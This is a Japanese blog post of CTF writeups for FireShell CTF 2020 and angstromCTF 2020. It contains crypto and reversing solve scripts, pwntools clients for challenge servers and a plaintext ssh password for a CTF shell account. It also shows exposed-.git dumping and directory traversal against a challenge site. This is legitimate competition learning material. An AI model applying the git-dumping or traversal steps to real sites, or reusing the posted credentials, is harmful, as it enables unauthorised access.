みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

FireShell CTF 2020 writeup

はじめに

FireShell CTFに参加しました.開催時間が短いので軽い気持ちででたらすごく難しくてめちゃくちゃ大変でした.
自分たちStarrySkyは2330ポイントで41位でした.もうちょっと頑張りたかったです.でも楽しかったです!
f:id:mi__tsu:20200323144644p:plain
というわけで自分が解いた問題のwriteupを書いていきます.得点はCTFが終わった後の最終的なものを載せています.

[Crypto: 497 pts] monKEYprito

https://media.giphy.com/media/ujvhLZGsTajgQ/giphy.gif

  • MoNkEy_CRYptor.py
  • you_was_monkeyd.enc

以下のような暗号化スクリプトが渡されました.

#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@&&&&@&&&&&&&&&&&&&&&&&&&&&&&&&@&&@&&@&@@@@@@@@@@@@@@@&@@@&&&&&@&&&&&&&@@&&&&&&&@&&&@@@@@@@@@@&@&&&&&&&&&&&&&&
#,,,,,,,,,,,,,,******************///*////*,,**,,.***,***.*,,,.,.,,********//*/////((/(#####(/*(/(/***,*,*/**,,,,,,,,,*,*******//(///*****,,,,,,,,,,,,,,
#***,,,,,,,,**************////////*****,*,,,,,.*,,**/**,,,,,.*,,*,**,**/,,/(((//////(///((///*(/*//,**,*,,*,..,....,,,****,*,,(((//*****,,,,,,,,,,,,,,,
#*****,,,,,***************/***(*/***,,,,,,,,,,**,***/*/******,*,****///////*/*////**(//(//*//////*/***,*,*,,....  .,,...,*/**,/((/***,**,,,,,,,,,,,,,,,
#*********************///((//*///**,**,,*,,,,,,,,*////*********,**///*/**//(///**/***,*///////*////*,,,,*,*,.**,.,,,,,*,******/((//*/******,,,,,,,,,,,*
#*****,,,,,***********/(#((/(((((///*,,,,,*,.,,*,,..,****,*/((/*/*,,,*,.,,*,******/*/**////****//*****//*,***,*,,,,,,**,**,,,,*(((((/*******,,,,,,,,***
#*****,,,,,,,********///*/*/(#(#((//***/,,,,,,,,,*/*/***//((##(#/#/.....,. .,,,////(//////*/,///*(*//**/****/****,,.,********/////((/////***,,,,,,,****
#***,,,,,,,,,,*****/*/*//*/(/((/****,,,**.,/(####(/###/*/(((%##/.   ,**..**,*//(##((/((*/*/(*//(//////////****************//////////(((//////**,,,*****
#*,,,,,,,,,*******///*//***/*****,,,,,**/(/  , ....  /*/////(/.,*..   .,,*#(,(####(((((//*//((((//(/*/#/(/*******/**///*///*//***/////*////////*,,*****
#,,,,,*,**********///***/**////***,***/*,.  ,*/*//* .,////***////((#(/*//((((((//(//(*///((///*/(**/*/////////******///**/*/////***,,,,***//((//*******
#,,,,,,*****************////////((///((##(//****/##((/**/***,**/((#((((##((#(((#((//((///////*/*((((///(/((/**/*/*//*//******/****,,*,,*******//****,,,
#,,,,**********/*****//*/(/(////((/(((####%#%#%#(((/(*,*,*,,,,,**//(//////(//////(#((((/////(//****(/*/(*/////*///**/*,***********,,..,,******,*,,,,,,,
#,,,**********/****/*/////*/##(//(((###/((((((((/((/**,*,,,,,,,,,**/////((///*//**/////////////////////(///((/*/*(/*/*********,,,,,,*,***,,*,,**,,,**,,
#,,,***********///(/*/((((#(((((//((#((##((/(((((**,**,*.**,,,,**,*,,,/*///(/((((//////(/(/**////////(*/*//(/*///(**/**,,,,,*,,,,**....,,,,,,**.,...,**
#,,,**********/***///(#((((////(##(#%(//(//(///****,,*****,,**,,,****,****//(//(//(((/(((((##(((##((////////*//////**/*,,,*,*,,,,, ,,,.,,,,,,,*,,*,...,
#,.,,*********//////*/((((((#((##((//(((/(/#(*****,**/////*****/*****/*//((*////*((/((((((((#(((##(###(///(*/(//*****,,,,,,,,***,,,,,,*,,*,,*,,*,.*.,,,
#,,,,,**********//*////(((##((#(/(((/(///////**/***//*///(/ ,*////*/////(//(((#/((((#(//(*((/(///(##(/(/*((//*,,***,,...,,,,,,***,**/*,,*,*,/,,,,*,,*,,
#.....,,,,,,*******///((((((/((///((###((*((//(***,,(((**/**////(((((/(/(((((((#((/(/////////(/**(*//((((//********,,,,,.*..***,,*,*,******,,,*,*****,,
#.........,*****/////(((#(/((########((((((((/////////(///((######((((((/(((#(((((///*,****(*((/*//*(*/((//**/*/...,*,,.,*,***,*/*,*,**/,*****,*,*/**,*
#.....,,,,,,,******/(((((((######((((#//(/(((/(((((((((/##%#%#((((((/////****/*,.,... ,,*,***(//((/*((//////*,,.,...,**/***,****/,**/*,,/*//*/*,**,**,*
#.....,,,,,,*///*/*//(((#####(##((((///*//#((((((((((((/(/(/////**/*,//(//////**..,*,..,,*/*,**/(/((/(#/(//**,,...,,,******,,**,,,//,,/*,*,/(***,,***,*
#.....,*****,**////(########((#(((////**//**//*/(*****//***(#%%###%(%%%%#(((/*. .//,/((/((/**/(////#(*//*/**,**,,,.,,,*//****,,,,,****/*/*,*//*********
#...,,,,.,,,*,,,***(######((#(/(////////**.,,***//(#&&&&#&&&&&&%%&%###%##(/*,., ,,,/#(//#(////////////(//***///**,*.,***/*******/*********/****/***,//,
#...,,,,,,,***/**/((((####(((((((//(///***,,....#(##&@@@&%&@@@@&#%&%/(%%(///(,*...#(//###//////////((/(/**/,*/,,**,,*/,*,**,****,,*,*/*/,//*/*/*****,/(
#.,,,,,,,,***,,*,*/((####(((((((((((((//****,**..#(#%@@@@%#@@@@&##%##/#%#*(((/,.*((/(((/**/*/*//////(/(*/**,,**,*****//,,***,**,/***/*,/,,****/*////,/*
#....,,,..,,,,,,,*//(#((####(####(#(((///****///*,#((&&@&%(%&&&#((((##*((((*..*////(/(***/////////((///*,******,*****,,*,,,,*,,**,,***/**,*//***/*,**/*
#......,,,,,,,*,**//((#########(##((/(///////*((//,(//**/(((#%%#(%%(%####(.,*/////(/*****/*//////////**,,,******/*(/*,,,**,,,*,,****,,**/***///********
#.........,,,*,,,*////(#(####(##((/((((//////((/(//*./(/#%%((%&%#(#%##(*,*//((//(/******/////////////*///**/***/**/**,*,****,*****,,***//****//*****///
#........,,,,,,,,**////(((#(###(((((((((((/(///////**,*/((#(//###((/**//(/(/(///*,,,*/**/***///*//**///(//***/*//*,***,,/****,,************,,,,***///**
#............,,,.,,**//((###((###((#((((((((((//////****,,**/**(((#(((////*////********////////***/**/*///**/***//,**/**,*******,*************,********
#..............,,***//(((((###########((((((((/(/////***///////////*//////////***,*,*/***///////*///*,**,***/*/**/*,,,*****/***,,*************,*,,*,**/
#
#          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR
#          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR
#          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR          THE MONKEY ENCRYPTOR
#
import os
import zipfile
from secret import flag
os.path.realpath(__file__)

def get_troll_string():
	troll_string = "MmMmMmMmoOoOoOOoOOonnnNnNNnkkKkKkKkKkkkekeekEKkekekEYyYyyYyyYYYYYYYYYY!!!!!!!!!!!!222@@@@@@2XDDDDDDDD"

	with open("Monkeyd_ziped.zip", 'rb') as file:
		run = 0
		for byte in file.read():
			if(run==2):
				break
			troll_string += troll_string*ord(byte)
			run+=1
	return troll_string

def monkeyd(monkey_troll_string):
	array = []
	rainbow = 1
	with open("Monkeyd_ziped.zip", 'rb') as file:
		for byte in file.read():
			array.append(hex((ord(byte)+ord(monkey_troll_string[(rainbow-1)%(len(monkey_troll_string)-1)])+rainbow%256)%256))
			rainbow+=1

	with open('you_was_monkeyd.enc', 'wb') as output:
		output.write(bytearray(int(i, 16) for i in array))

if __name__ == '__main__':
    zipf = zipfile.ZipFile('Monkeyd_ziped.zip', 'w', zipfile.ZIP_DEFLATED)
    zipf.write("monkey.png", compress_type=zipfile.ZIP_DEFLATED)
    zipf.write(flag, compress_type=zipfile.ZIP_DEFLATED)
    zipf.close()
    monkeyd(get_troll_string())

どうやらフラグと猿の画像が入ったzipファイルを暗号化しているようです.
まずget_troll_string関数について,どうやらzipファイルの先頭2byteを使ってtroll_stringを変化させているようです.
zipファイルの先頭2 byteはマジックナンバーで,\x50\x48固定です.だからget_troll_stringの出力は常に一定なので次のように書き直すことができました.

def get_troll_string():
    return "MmMmMmMmoOoOoOOoOOonnnNnNNnkkKkKkKkKkkkekeekEKkekekEYyYyyYyyYYYYYYYYYY!!!!!!!!!!!!222@@@@@@2XDDDDDDDD" * 6156

実際の暗号化部分はmonkeyd関数で,troll_stringに従って暗号化しているようです.
ただ暗号化方法が,zipファイルのバイト列を読み込んで,各バイト列にtroll_stringの各文字,カウンタの値(rainbow)をそれぞれ足しているだけなようなので逆に引き算すれば簡単に復号できます.
そるばどぺー

troll_string = "MmMmMmMmoOoOoOOoOOonnnNnNNnkkKkKkKkKkkkekeekEKkekekEYyYyyYyyYYYYYYYYYY!!!!!!!!!!!!222@@@@@@2XDDDDDDDD" * 6156

array = []
rainbow = 1
with open("you_was_monkeyd.enc", "rb") as f:
    for byte in f.read():
        array.append(hex((byte-ord(troll_string[(rainbow-1)%(len(troll_string)-1)])-rainbow%256)%256))
        rainbow += 1
    
    with open('dec.zip', 'wb') as output:
        output.write(bytearray(int(i, 16) for i in array))
$ python solve.py
$ ls
dec.zip  MoNkEy_CRYptor.py  ...
$ unzip dec.zip
Archive:  dec.zip
  inflating: monkey.png              
  inflating: flag.txt

復号したzipファイルにはフラグと画像が入ってました.
f:id:mi__tsu:20200323182418p:plain
F#{SPAM_THE_4w3s0m3_m0nk3y_EVERYWHERE}
実はこの問題,CTFが終わるギリギリのときに出てきたので時間との勝負でした.あと寝てたらCTFが終わっちゃってたので気合で起きて正解でした……

[Crypto: 497 pts] Conora Secret

The challenge provide two files: output.txt and chall.py. The python file is a cypher that is clear El Gamal scheme. The only missing info is the two keys of Bob and Alice that can be retrieved using discrete log.

  • chall.py
  • output.txt

暗号化スクリプトとその標準出力は次のようなものでした.

import gmpy2, os
import SECRET

class Cipher():
    state = None
    nbits = None
    p = None
    g = None

    def __init__(self, nbits = 160):
        self.nbits = nbits
        seed = reduce(lambda a, b: (a << 8) | ord(b), os.urandom(128), 0)
        self.state = gmpy2.random_state(seed)
        self.p = self.generaterandomvalue()
        self.g = self.generaterandomvalue()

    def generaterandomvalue(self):
        randomvalue = gmpy2.mpz_urandomb(self.state, self.nbits)
        return gmpy2.next_prime(randomvalue)

    def genkey(self):
        while True:
            v = self.generaterandomvalue()
            if v < self.p:
                break
        return v


c = Cipher()
alicekey = c.genkey()
bobkey = c.genkey()

A = gmpy2.powmod(c.g, alicekey, c.p)
B = gmpy2.powmod(c.g, bobkey, c.p)

alicemessage = SECRET.alicemessage
aliceciphered = (pow(A, bobkey, c.p) * alicemessage) % c.p

bobmessage = SECRET.bobmessage
bobciphered = (pow(A, bobkey, c.p) * bobmessage) % c.p

print 'g:', c.g
print 'p:', c.p

print (A, aliceciphered)
print (B, bobciphered)
g: 271288297309032254959087925221099038857108692921
p: 1102599800392365312390928345103450099096472467311
(mpz(434975788934893935486812987784904932345816911149L), mpz(16411897893431398084407358496852070907176230853L))
(mpz(170780066307111969073123095839072967904862735531L), mpz(673443080181189918056298223003913178931188451777L))

普通のElGamal暗号で二つの平文を暗号化しているようです.初めは秘密鍵の使い回しがまずいのかと思って式変形をコネコネしてましたが,平文を計算する変形までたどりつくことができませんでした(というか無理では??)
実は愚直に総当り的なことをすればalicekeyやbobkeyが求まっちゃうのでは,と思いオレオレふるいで気合で計算しましたがダメダメでした.6時間くらい回して結果はコードのバグが見つかるといった代物です.本当にだめ.
ぐぐってみると,数体ふるいで離散対数を計算してくれるOSSがありました.悲しいけど嬉しい.
GitHub - kurhula/cado-nfs
./cado-nfs.py -dlp -ell "ell" target="h” "p" とすれば,{ \log h \mod ell } が求められるようです.
ellはpの素因数の最大値です.
注意として,cado-nfsで出てくるlogの底は適当なものなので底の変換をしてあげなくてはいけません.またこの時の法はellです.
そのため,ただcado-nfsをやっただけだと { \log_g h \equiv \frac{\log h}{\log g} \mod ell } までしか求まりません.
まあでもPohlig-Hellmanにcado-nfsで出てきた答えを組み込めば大丈夫そうですね!
そるばどぺー

from Crypto.PublicKey import RSA
from functools import reduce
import math
import gmpy2
import re

# a * x0 + b * y0 = gcd(a, b)
# return gcd(a,b), x0, y0
def egcd(a, b):
    (x0, x1, y0, y1) = (1, 0, 0, 1)
    while b != 0:
        (q, a, b) = (a // b, b, a % b)
        (x0, x1, y0, y1) = (x1, x0 - q * x1, y1, y0 - q * y1)
    return (a, x0, y0)

# a^(-1) % mod
def modinv(a, mod):
    g, x, y = egcd(a, mod)
    if g != 1:
        raise Exception("Modinv does not exist")
    return x % mod

# return x s.t.
# x = y[0] mod n[0]
# x = y[1] mod n[1]
# ...
def chinese_remainder(ns, ys):
    s = 0
    mulmul = reduce(lambda a, b: a * b, ns)
    for n, a in zip(ns, ys):
        p = mulmul // n
        s += a * modinv(p, n) * p
    return s % mulmul

# Baby step Giant step
# g^x = y mod p
def BsGs(g, y, p, q):
    m = int(math.sqrt(q) + 1)

    # Baby step
    baby = {}
    b = 1
    for i in range(m):
        baby[b] = i
        b = (b * g) % p

    # Giant step
    gm = pow(modinv(g, p), m, p)
    giant = y
    for i in range(m):
        if giant in baby:
            x = i * m + baby[giant]
            return x
        else:
            giant = (giant * gm) % p
    print("Error: BsGs")
    return -1

# Pohling-Hellman
def PH(p, g, y, phip_factors):
    bn = []
    for i in range(len(phip_factors) - 1):
        pk = phip_factors[i]
        phippk = (p - 1) // pk
        bk = BsGs(pow(g, phippk, p), pow(y, phippk, p), p, pk)
        bn.append(bk)

    # big factor
    bn.append(68891157682107548008597666707891616)

    print("bn: {}".format(bn))
    x = chinese_remainder(phip_factors, bn)
    return x

# decrypt
def decryption(c1, c2, x, p):
    m = ((c2 % p) * pow(c1, x * (p - 2), p)) % p
    return m

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l) 

g = 271288297309032254959087925221099038857108692921
p = 1102599800392365312390928345103450099096472467311
h = 434975788934893935486812987784904932345816911149
c2 = 16411897893431398084407358496852070907176230853
c1 = 170780066307111969073123095839072967904862735531
bobc = 673443080181189918056298223003913178931188451777
phi_p = [2, 3, 5, 1093, 1223, 67103, 409739750867624373064553668058242381]
ell = 409739750867624373064553668058242381

"""
## from cado-nfs
## x value is incorporated in Pohlig-Hellman
log_h = 89312554803004771914370169287990323
log_g = 49442345370660375073521009173730491
x = log_h * modinv(log_g, ell) % ell
x = 68891157682107548008597666707891616
"""

x = PH(p, g, h, phi_p)
print("x: {}".format(x))
m = decryption(c1, c2, x, p)
print(m)
print(decodeM(m))

m = decryption(c1, bobc, x, p)
print(m)
print(decodeM(m))

F#{d1Scr3t_lOg4m4l}
この問題,最初から公開されていた割にソルブが少なかったので解けたときはすごく嬉しかったです.

[rev: 261 pts] Simple Encryption

I found this small program on my computer and an encrypted file. Can you help me decrypt the file?

  • chall
  • flag.enc

暗号化するバイナリと暗号化されたフラグらしきファイルが渡されます.
challはlibcが静的リンクされていて結構大きかったです.またstrippedなので非常に読むのが大変でした.
頑張って逆アセンブルして読んでいると,どうやら中で乱数等は用いて無いことがわかりました.
challを動かして確認すると,暗号化前の文字と暗号化後の文字には一対一の対応がありました!
ということでフラグに使いそうな文字を暗号化してみれば対応がわかり,簡単に複合することができます.
そるばどぺー

import re

chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~ '0123456789a"
ind = "3d3b39373533312f2d2b29272523211f1d1b19171513110f0d0b7d7b79777573716f6d6b69676563615f5d5b59575553514f4d4bbdb9b7b5b3afadaba9a7a5a3a18b89878583817f494543413f09070503ebbfb19f9d9b99979593918f8d"

ind = re.split('(..)', ind)[1::2]
ind = list(map(lambda ch: chr(int(ch, 16)), ind))

db = {}
for i in range(len(chs)):
    db[ind[i]] = chs[i]

with open("flag.enc", "rb") as f:
    buf = f.read()

flag = ""
for i in buf:
    flag += db[chr(i)]
    print(flag)

print(db)
print(flag)

出力の結果がF#{S2mpl4_encr2pt21n_f1und_1n_g2thub!}でした.
コードがバグってるのかなー……このフラグを入れてもincorrectとなってしまいました.
気合でフラグを修正して最終的に以下のフラグが通りました.数字が一個ずれてるっぽいです.
F#{S1mpl3_encr1pt10n_f0und_0n_g1thub!}

[ppc: 408 pts] Warmup ROX

Server: 142.93.113.55
Port: 31087

エスパー問でした.文字列を入力すると,それに対応した文字列が帰ってきます.
どうやら,入力された文字列とフラグをxorして,その結果を出力しているようです.
ということでヌル文字を送り込めばフラグが入手できます.
そるばどぺー

from pwn import *

r = remote("142.93.113.55", 31087)

r.recv(0x100)
r.sendline("start")

s = "\x00" * 30
r.sendline(s)

r.interactive()

F#{us1ng-X0r-is-ROx-4-l0t}

angstromCTF 2020 writeup

はじめに

angstromCTF 2020に参加しました.自分の所属するStarrySkyは70位でした.
f:id:mi__tsu:20200319164532p:plain
チームメンバーがグロッキーなので,Miscの一問を除き全て一人でやることになってしいました.正直辛かったです.
ソルブ数的にWeb問が解けないと大変そうなコンテストで,自分はWebがダメダメなので非常に辛かったです.焦りがすごいです.
あとは個人的にrevが思うように解けず,少し悔しかったです.あとMiscが他のジャンルに比べ,点数の割に簡単な問題が多かったイメージがあります.
あとLo-KeeとRST-OTP解きたかった……
以下writeupです.

[Misc: 30 pts] ws1

Find my password from this recording (:

  • recording.pcapng

stringsでやるだけ.
actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

[Misc: 70 pts] clam clam clam

clam clam clam clam clam clam clam clam clam nc misc.2020.chall.actf.co 20204 clam clam clam clam clam clam

netcatで繋いだらclam{clamclam}とめちゃくちゃたくさん言われました.
目で終えなかったのでとりあえずファイルに出力してテキストエディタで眺めます.

clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
type "clamclam" for salvation^Mclam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}

怪しい文字列が見つかりました.\rを挟んでclam{clam_clam...で上書きすることで見えないようになってたんですね.
というわけでclam{clam_clam...って言われている間にclamclamと入力すればフラグが取れました.
actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}

[Misc 90 pts] PSK

My friend sent my yet another mysterious recording...
He told me he was inspired by PicoCTF 2019 and made his own transmissions. I've looked at it, and it seems to be really compact and efficient.
Only 31 bps!!
See if you can decode what he sent to me. It's in actf{} format

  • transmission.wav

謎の音声ファイルが渡されます.初めはスペクトルを見てモールス信号を取り出すとかそういうのかと思ってましたが全然違いました.
Phase Shift Keyingという技術が使われていて,これで変調してデータの送受信を行っているっぽいです.
うちにはPSKをどうこうするラジオはなかったのでググってみると,パソコンのマイクで音声を拾ってデータを受け取ってくれるソフトがありました.
EssexPSK - Free PSK31 Decoder Application | Essex Ham
ということでデコードしていきます.
f:id:mi__tsu:20200320123226p:plain
actf{hamhamhamham}

[Misc: 100 pts] Inputter

Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. Can you satisfy his knack for strange and hard-to-input characters? Source.
Find it on the shell server at /problems/2020/inputter/.

  • inputter.c
  • inputter

ソースコードを読むと,第一引数に" \n'\"\x07",標準入力に"\x00\x01\x02\x03\n"を渡さなくてはいけないことがわかります.
確かにキーボードじゃ入力できない.pwnやるときと同じ感覚で入力すれば大丈夫です.
そるばどぺー

from pwn import *
import sys

arg = ["./inputter", " \n'\"\x07"]
if len(sys.argv) == 1:
    r = process(arg)
else:
    shell = ssh(host="shell.actf.co", user="team5764", password="2f126c26e79301d78fa0")
    shell.sendline("cd /problems/2020/inputter/")

    r = shell.process(arg, cwd="/problems/2020/inputter")

buf = "\x00\x01\x02\x03\n"
r.sendline(buf)

r.interactive()

pwntoolsでssh周りを触るいい感じの練習になりました.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}

[Misc: 140 pts] msd

You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the Most Significant Digit. Can you still power through it?
Here's the encoded image, and here's the original image, for the... well, you'll see.

  • public.py
  • breathe.jpg
  • output.png

最初は暗号化スクリプトが渡されず,結構やばいエスパーでした.
public.pyを読むと,各ピクセルのRGB値の十進数表記での最上位桁を,フラグの各文字の文字コードの十進数表記での最上位桁に置き換る処理繰り返し行っていることがわかります.
つまり,output.pngの各ピクセルのRGB値の十進数表記での最上位桁を取っていけばフラグが入手できます.
ただし注意として,フラグとして使われる文字コードには十進数で二桁のものと三桁のものが入り混じっていたり,またRGB値が255以上になるとどうやら自動的に255に直されてしまい誤って"2"という文字を受け取ってしまったりします.
最初の問題は1や2を受け取ったら三桁分受け取るみたいな分岐を挟めばなんとかなります.
二つ目はもうどうしようもなく,暗号化は繰り返し行われているためなんだかんだうまく直せる場所があるだろうと考えて解きました.
そるばどぺー

from PIL import Image
import re

im = Image.open("output.png")
im2 = Image.open("breathe.jpg")

width, height = im.size

flag = []
for j in range(height):
    for i in range(width):
        test = []
        r, g, b = im.getpixel((i, j))
        rp, gp, bp = im2.getpixel((i, j))

        if r == 255:
            flag.append("5")
        elif len(str(r)) == len(str(rp)):
            flag.append(list(str(r))[0])
        else:
            flag.append("0")

        if g == 255:
            flag.append("5")
        elif len(str(g)) == len(str(gp)):
            flag.append(list(str(g))[0])
        else:
            flag.append("0")

        if b == 255:
            flag.append("5")
        elif len(str(b)) == len(str(bp)):
            flag.append(list(str(b))[0])
        else:
            flag.append("0")

cnt = 0
res = []
flagp = []
b = 0
while cnt < len(flag) - 4:
    if flag[cnt] == "9" and flag[cnt+1] == "7" and flag[cnt+2] == "9" and flag[cnt+3] == "9":
        b = 1

    if flag[cnt] == "2" or flag[cnt] == "1":
        res.append(flag[cnt] + flag[cnt + 1] + flag[cnt + 2])
        if b == 1:
            flagp.append(flag[cnt])
            flagp.append(flag[cnt + 1])
            flagp.append(flag[cnt + 2])
        cnt += 2
    else:
        res.append(flag[cnt] + flag[cnt + 1])
        if b == 1:
            flagp.append(flag[cnt])
            flagp.append(flag[cnt + 1])
        cnt += 1

    cnt += 1

# print(flagp)

# print(data)
for i in res:
    print("{}".format(chr(int(i))), end="")

適当にファイルに出力して検索しました.
actf{inhale_exhale_ezpz-12309biggyhaby}

[Misc: 160 pts] Shifter

What a strange challenge...
It'll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300

netcatでつなぐと文字列と数字nが渡され,n番目のフィボナッチ数だけ文字列をROT的なシフトしろと言われます.
nの値はそんなに大きくなかったので,フィボナッチ数の計算にはそこまで気を配る必要はありませんでした.160点まじ?
そるばどぺー

from pwn import *

def Fib(n):
    a, b = 0, 1
    if n == 1:
        return a
    elif n == 2:
        return b
    else:
        for i in range(n-2):
            a, b = b, a + b
        return b

f = [Fib(n) for n in range(1,51)]

def _rot(i, c):
    if "A" <= c and c <= "Z":
        return chr((ord(c) - ord("A") + i) % 26 + ord("A"))
    if "a" <= c and c <= "z":
        return chr((ord(c) - ord("a") + i) % 26 + ord("a"))
    return c

def rot(i, s):
    g = (_rot(i, c) for c in s)
    return "".join(g)

if __name__ == "__main__":
    r = remote("misc.2020.chall.actf.co", 20300)

    for i in range(50):
        sleep(0.4)
        log.info(i + 1)
        r.recvuntil("Shift ")
        x = r.recvline().split()
        print(x)

        if x[2][0] == ord("n"):
            res = rot(f[int(x[2][2:].decode("utf-8"))], x[0].decode("utf-8"))
            print(res)
            r.sendline(res)

    r.interactive()

actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

[Misc: 180 pts] ws3

What the... record.pcapng

  • record.pcapng

パケットダンプが渡されます.TCPストリームを適当に追跡していると,git-upload-packの文字がありました.
f:id:mi__tsu:20200319154244p:plain
よってこの通信は,gitのローカルとリモートの通信の状況をダンプしたものだと推測できます.
packファイルがほしかったのでオブジェクトのエクスポートを試してみました.
f:id:mi__tsu:20200319155950p:plain
明らかに怪しいpackファイルを含むパケットが見つかります.
このパケットのgit-receive-packですしおそらくここにアタリのpackファイルが含まれていると思われます.
中身を展開したいのでbinwalkでこじ開けます.

$ binwalk -e git-receive-pack
$ cd  _git-receive-pack.extracted/
$ file *
156:      data
156.zlib: zlib compressed data
1A9:      JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 413x549, components 3
1A9.zlib: zlib compressed data
B7:       Git tree 87872
B7.zlib:  zlib compressed data

画像がありました.ここにフラグが書いてありました.
f:id:mi__tsu:20200319162701p:plain
ちなみにbinwalkでうまく展開できなかったときは,packファイルをバイナリエディタで切り出し,空のリポジトリを作ってgit unpack-objectsを使ってロードしてあげれば大丈夫です.
actf{git_good_git_wireshark-123323}

[Misc: 240 pts] Noisy

My furrier friend tried to send me a morse code message about some new furs, but he was using a noisy connection. I think he repeated it a few times but I still can't tell what he said, could you figure out what he was trying to tell me? Here's the code he used.
(the flag is not in the actf{} format, it's all lowercase, 1 repetition only)

  • 4ea.txt
  • Noisy.py

暗号化スクリプトを読むと,モールス符号の短点を10個の1へ,長点を20個の1へ,間隔を20個の0へ変換していました.また各点の間には10個の0が含まれているようです.こうして符号化した1と0に対し乱数を含めた計算を行ったのちファイル(4ea.txt)へ出力していました.
またこれを繰り返し行なっているようで,その回数は非公開でした.
4ea.txtの各小数から乱数を取り除ければなんとかなりそうなのでそこに注目します.
使用している乱数生成器はガウス分布に従ったもので,平均が0,分散が2でした.平均取ればそれっぽくなりそうということで,出力の繰り返し回数を総当りして無理やり計算しました.
また復号後は無理やりパターンマッチを書いて無理やりフラグを手に入れることができました.
そるばどぺー

from decimal import Decimal, ROUND_HALF_UP
import sys

repeats = int(sys.argv[1])

def sum(li):
    res = 0
    for i in li:
        res += i
    return res

def mean(li):
    mm = Decimal(str(sum(li) / len(li))).quantize(Decimal("0"), rounding=ROUND_HALF_UP)
    return float(mm)

fsize = 28800
msize = fsize // 10

f = open("4ea.txt", "r")

x = msize // repeats
signals = []

for i in range(repeats):
    for j in range(x):
        points = []
        for _ in range(10):
            points.append(float(f.readline()) + 0.5)
        if i == 0:
            signals.append(points)
        else:
            signals[(i * x + j) % x] += points

morsebits = ""
for i in range(len(signals)):
    signal = mean(signals[i])
    if signal == 0.0:
        morsebits += "0"
    elif signal == 1.0:
        morsebits += "1"
    else:
        morsebits += str(int(signal))

print(morsebits)

morse = ""
i = 0
while i < len(morsebits):
    c = morsebits[i]
    print(c, end="")
    if i < len(morsebits) - 1 and c == "1" and morsebits[i + 1] == "1":
        morse += "-"
        i += 2 
    elif c == "1":
        morse += "."
        i += 1
    else:
        if i < len(morsebits) - 1 and morsebits[i + 1] == "0":
            morse += " "
        else:
            print("Error!")
        i += 2

    i += 1

print("")
print(morse)
    
f.close()    

繰り返し回数(引数)を5にするといい感じになりました.そこから一部分だけ切り取ればフラグが取れました.
noisynoise (だった気がする)

[Web: 20 pts] The Magic Word

Ask and you shall receive...that is as long as you use the magic word.

ページに飛ぶと,ただgive flagとだけ書かれていました.
f:id:mi__tsu:20200318185545p:plain
idがmagicとなっているタグのinnerTextを"please give flag"にすれば大丈夫そうです.
actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

[Web: 50 pts] Consolation

I've been feeling down lately... Cheer me up!

f:id:mi__tsu:20200318185904p:plain
ボタンを押したらお金が増えました.どうやらnofret()という関数が呼ばれているようです.
ソースコードも見れたのでnofret()の実装を確認したところ次のような処理が行われていました.

function nofret() {
    document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19;
    console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));
    console['clear']();
}

console['clear']();が非常に怪しい……
というわけでこの処理のconsole['clear']();を除いたものを実行してみるとフラグが入手できました.
actf{you_would_n0t_beli3ve_your_eyes}

[Web: 70] Git Good

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

アクセスしても特に何もないサイトでした.
f:id:mi__tsu:20200319163745p:plain
試しにディレクトリトラバーサルを試してみるとこんな感じになります.
f:id:mi__tsu:20200319163856p:plain
サイトのgitリポジトリを取りたいです.色々検索してみるとこんなものがヒットしました.
GitHub - arthaud/git-dumper: A tool to dump a git repository from a website

$ python git-dumper/git-dumper.py https://gitgood.2020.chall.actf.co/ dump
$ cd dump
$ ls
index.html  index.js  package-lock.json  package.json  thisistheflag.txt
$ cat thisistheflag.txt
There used to be a flag here...

流石に一筋縄では行かないっぽいです.
どうやら過去にはここにフラグが存在していたっぽいので,コミットのdiffをとればフラグが入手できます.

$ git log
commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master)
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:44 2020 +0000

    Initial commit

commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:24 2020 +0000
$ git diff 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
diff --git a/thisistheflag.txt b/thisistheflag.txt
index 0f52598..247c9d4 100644
--- a/thisistheflag.txt
+++ b/thisistheflag.txt
@@ -1,3 +1 @@
-actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
-
-btw this isn't the actual git server
+There used to be a flag here...

actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

[Web: 110] Secret Agents

Can you enter the secret agent portal? I've heard someone has a flag :eyes:
